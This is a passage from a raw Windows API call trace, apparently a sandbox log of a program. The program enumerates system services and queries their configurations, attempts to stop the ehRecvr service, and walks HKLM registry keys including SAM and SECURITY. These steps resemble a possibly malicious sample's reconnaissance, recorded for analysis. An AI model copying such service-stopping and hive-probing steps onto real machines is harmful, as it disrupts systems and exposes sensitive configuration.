CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x5a1070, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winmgmt", lpUsedDefaultChar=0x0) returned 7 [0028.200] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Winmgmt", dwDesiredAccess=0x1) returned 0x6639b8 [0028.200] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.200] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.200] GetLastError () returned 0x7a [0028.200] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x128, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a10b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x5a10b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winrm", lpUsedDefaultChar=0x0) returned 5 [0028.201] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WinRM", dwDesiredAccess=0x1) returned 0x6638a0 [0028.201] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.201] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.201] GetLastError () returned 0x7a [0028.201] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x16e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1100, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x5a1100, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlansvc", lpUsedDefaultChar=0x0) returned 7 [0028.202] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Wlansvc", dwDesiredAccess=0x1) returned 0x663968 [0028.202] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.202] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.202] GetLastError () returned 0x7a [0028.202] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x16a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1148, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x5a1148, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv", lpUsedDefaultChar=0x0) returned 8 [0028.202] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wmiApSrv", dwDesiredAccess=0x1) returned 0x6638c8 [0028.203] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.203] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.203] GetLastError () returned 0x7a [0028.203] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0xfe, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x5a1190, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv.exe", lpUsedDefaultChar=0x0) returned 12 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x5a1190, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetworksvc", lpUsedDefaultChar=0x0) returned 13 [0028.203] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.204] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.204] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.204] GetLastError () returned 0x7a [0028.204] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x16e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x5a11d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x5a11d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpcsvc", lpUsedDefaultChar=0x0) returned 6 [0028.204] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WPCSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.205] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.205] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.205] GetLastError () returned 0x7a [0028.205] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1220, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x5a1220, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpdbusenum", lpUsedDefaultChar=0x0) returned 10 [0028.205] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WPDBusEnum", dwDesiredAccess=0x1) returned 0x663968 [0028.205] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.206] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.206] GetLastError () returned 0x7a [0028.206] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x152, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1268, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x5a1268, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wscsvc", lpUsedDefaultChar=0x0) returned 6 [0028.206] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wscsvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.206] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.206] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.207] GetLastError () returned 0x7a [0028.207] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x15a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a12b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wsearch", cchWideChar=7, lpMultiByteStr=0x5a12b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wsearch", lpUsedDefaultChar=0x0) returned 7 [0028.207] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WSearch", dwDesiredAccess=0x1) returned 0x6639b8 [0028.207] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.207] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.208] GetLastError () returned 0x7a [0028.208] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x10c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchindexer.exe", cchWideChar=17, lpMultiByteStr=0x5a12f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchindexer.exe", lpUsedDefaultChar=0x0) returned 17 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wuauserv", cchWideChar=8, lpMultiByteStr=0x5a12f8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wuauserv", lpUsedDefaultChar=0x0) returned 8 [0028.208] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wuauserv", dwDesiredAccess=0x1) returned 0x6638a0 [0028.208] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.208] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.208] GetLastError () returned 0x7a [0028.208] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x100, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1340, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wudfsvc", cchWideChar=7, lpMultiByteStr=0x5a1340, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wudfsvc", lpUsedDefaultChar=0x0) returned 7 [0028.209] OpenServiceW (hSCManager=0x6637d8, lpServiceName="wudfsvc", dwDesiredAccess=0x1) returned 0x663968 [0028.209] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.209] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.209] GetLastError () returned 0x7a [0028.209] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x19e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a1388, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wwansvc", cchWideChar=7, lpMultiByteStr=0x5a1388, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wwansvc", lpUsedDefaultChar=0x0) returned 7 [0028.210] OpenServiceW (hSCManager=0x6637d8, lpServiceName="WwanSvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.210] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.210] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.210] GetLastError () returned 0x7a [0028.210] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x170, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5a13d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.210] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0028.211] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0028.211] CryptAcquireContextW (in: phProv=0x34f4ac, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f4ac*=0x663dd8) returned 1 [0028.212] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f4c0 | out: pbBuffer=0x34f4c0) returned 1 [0028.212] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0028.212] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x6638a0 [0028.212] ControlService (in: hService=0x6638a0, dwControl=0x1, lpServiceStatus=0x34f410 | out: lpServiceStatus=0x34f410*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0028.212] GetLastError () returned 0x426 [0028.212] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1388 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a13d0 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2da0 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x280) returned 0x502850 [0028.213] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0028.213] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x5a1418, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.213] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.213] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.213] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.214] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.214] WideCharToMultiByte (in: 